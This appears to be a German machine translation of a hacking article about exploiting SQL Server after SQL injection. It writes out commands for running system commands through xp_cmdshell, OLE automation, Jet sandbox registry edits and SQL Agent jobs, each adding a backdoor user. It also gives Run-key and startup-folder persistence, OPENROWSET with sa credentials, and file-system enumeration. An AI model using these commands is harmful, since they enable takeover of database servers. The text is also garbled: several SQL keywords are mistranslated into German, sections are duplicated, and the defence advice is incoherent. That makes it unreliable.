SQL Server ist eine Datenbank, die häufig von kleinen und mittleren Websites verwendet wird. Aufgrund seiner leistungsstarken Funktionen sind SQL-Injection-Angriffe in China seit langem beliebt und haben zu einer endlosen Flut von Einbruchstechniken geführt Da SQL Server mehrere Anweisungen unterstützt, glaube ich, dass viele Hacker beim Einschleusen von SQL in SQL Server selten Methoden wie das Erraten von Tabellennamen verwenden, sondern direkt auf die gespeicherten Prozeduren und Funktionen von SQL Server zurückgreifen, um schnell Berechtigungen zu erhalten Konzentrieren Sie sich auf das SQL Server-System, um diese Hacks einzuführen.
1. Systembefehle ausführen
Mithilfe gespeicherter Prozeduren können wir schnell und einfach eine Shell abrufen, um beispielsweise Systembefehle auszuführen. Der Aufruf der Speichererweiterung lautet wie folgt:
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell ist eine gespeicherte Systembefehlsprozedur, die standardmäßig mit SQL Server geliefert wird und nur von der Serverrolle SYSADMIN ausgeführt werden kann.
Mithilfe der OLE-Objektschnittstelle stellt SQL SERVER einige Funktionen für den Zugriff auf OLE-Objekte bereit, nämlich sp_OACREATE und sp_OAMethod. Sie können sie verwenden, um OLE-Steuerelemente aufzurufen und indirekt eine Shell abzurufen. Verwenden Sie SP_OAcreate, um das Objekt wscript aufzurufen. Shell wird der Variablen @shell zugewiesen und verwendet dann SP_OAMETHOD, um das Attribut run von @shell aufzurufen und den Befehl auszuführen.
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
Aktivieren Sie den Sandbox-Zugriffsmodus. Standardmäßig unterstützt die Jet-Daten-Engine keine SQL-Anweisungen wie „net user ray ray /add“. Nach dem Aktivieren des Sandbox-Modus der JET-Engine ist dies jedoch möglich Führen Sie zuerst Befehle aus. Die gespeicherte Prozedur xp_regwrite schreibt die Registrierung neu, greift dann mit OpenRowSet auf eine ACCESS-Datenbankdatei zu, die mit dem System selbst geliefert wird, und führt dann die SQL-Anweisung aus, um den Befehl auszuführen.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Wählen Sie * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
Darüber hinaus können Sie auch den SQL-Agenten zum Ausführen von Befehlen verwenden. Dieser Dienst ist standardmäßig geschlossen. Wir können zuerst xp_servicecontrol verwenden, um SQLSERVERAGENT zu öffnen. und führen Sie die Aufgabe dann sofort aus.
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
verwende msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
[Seite ausschneiden]
2. Schreiben Sie beliebige Dateien, um Befehle auszuführen
Verwenden Sie xp_regwrite, um den Registrierungseintrag zu schreiben und den auszuführenden Befehl direkt in den RUN-Starteintrag zu schreiben.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Sichern Sie Protokolle in Startobjekten
Wir können den vollständigen Wiederherstellungsmodus einer Datenbank aktivieren, dann eine neue Tabelle erstellen, den zu sichernden Befehl in das Protokoll einfügen und schließlich das Protokoll in einer Batchdatei im Startordner des Benutzers sichern. Diese Datei wird anschließend ausgeführt Die Maschine startet neu.
Datenbank msdb ändern set RECOVERY FULL--
Tabelle erstellen cmd (ein Bild)--
Sichern Sie die Protokoll-MSDB auf Festplatte = 'c:cmd1' mit init--
in cmd (a) Werte einfügen ()--
Sicherungsprotokoll ISTO auf Datenträger = 'C:Dokumente und EinstellungenAlle Benutzer"Start"-MenüProgrammeStartup1.bat'--
Tabelle löschen cmd--
3. Benutzer mit beliebigen Berechtigungen können Befehle ausführen
In einer Serverrolle mit beliebigen Berechtigungen können wir das OPENROWSET-Makro verwenden, um Befehle auszuführen, solange wir das Konto und das Passwort der SYSADMIN-Rolle des Servers kennen.
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Seite ausschneiden]
4. Sonstige Erfassung von Systeminformationen
Verzeichnis durchqueren
exec master.dbo.xp_dirtree 'c:'
Unterverzeichnis abrufen
exec master.dbo.xp_subdirs 'c:'
Verfügbare Systempartitionen auflisten
exec master.dbo.xp_availablemedia
Stellen Sie fest, ob ein Verzeichnis oder eine Datei vorhanden ist
exec master..xp_fileexist 'c:boot.ini'
5. Es gibt Möglichkeiten, sich gegen SQL-Injection zu schützen
1. Ändern Sie die Tabellenstruktur. Ändern Sie den Datentyp des Kontofelds des Administrators, ändern Sie den Texttyp auf das maximale Feld von 255 (eigentlich reicht es aus, wenn Sie es größer machen möchten, können Sie den Notiztyp auswählen) und legen Sie das Passwortfeld auf die gleiche Weise fest.
2. Ändern Sie die Tabelle. Richten Sie das Konto mit Administratorrechten in ID1 ein und geben Sie eine große Anzahl chinesischer Zeichen ein, vorzugsweise mehr als 100 Zeichen.
3. Geben Sie das echte Administratorkennwort an einer beliebigen Stelle nach ID2 ein.
Wir haben die Änderung der Datenbank durch die oben genannten drei Schritte abgeschlossen.
Ist die Änderung zu diesem Zeitpunkt tatsächlich nicht der Fall? Sie müssen verstehen, dass es sich bei dem von Ihnen erstellten ID1-Konto tatsächlich um ein Konto mit echten Berechtigungen handelt Berechnen Sie es, das ist nicht korrekt. Ich denke, die meisten Leute haben bereits über eine Möglichkeit nachgedacht. Schreiben Sie einfach die Zeichenbeschränkung in die Datei der Administrator-Anmeldeseite. Selbst wenn die andere Partei dieses Kontokennwort mit Tausenden von Zeichen verwendet, wird es blockiert und die echten Passwörter können angezeigt werden uneingeschränkt.
[Seite ausschneiden]2. Schreiben Sie beliebige Dateien, um Befehle auszuführen
Verwenden Sie xp_regwrite, um den Registrierungseintrag zu schreiben und den auszuführenden Befehl direkt in den RUN-Starteintrag zu schreiben.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Sichern Sie Protokolle in Startobjekten
Wir können den vollständigen Wiederherstellungsmodus einer Datenbank aktivieren, dann eine neue Tabelle erstellen, den zu sichernden Befehl in das Protokoll einfügen und schließlich das Protokoll in einer Batchdatei im Startordner des Benutzers sichern. Diese Datei wird anschließend ausgeführt Die Maschine startet neu.
Datenbank msdb ändern set RECOVERY FULL--
Tabelle erstellen cmd (ein Bild)--
Sichern Sie die Protokoll-MSDB auf Festplatte = 'c:cmd1' mit init--
in cmd (a) Werte einfügen ()--
Sicherungsprotokoll ISTO auf Datenträger = 'C:Dokumente und EinstellungenAlle Benutzer"Start"-MenüProgrammeStartup1.bat'--
Tabelle löschen cmd--
3. Benutzer mit beliebigen Berechtigungen können Befehle ausführen
In einer Serverrolle mit beliebigen Berechtigungen können wir das OPENROWSET-Makro verwenden, um Befehle auszuführen, solange wir das Konto und das Passwort der SYSADMIN-Rolle des Servers kennen.
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')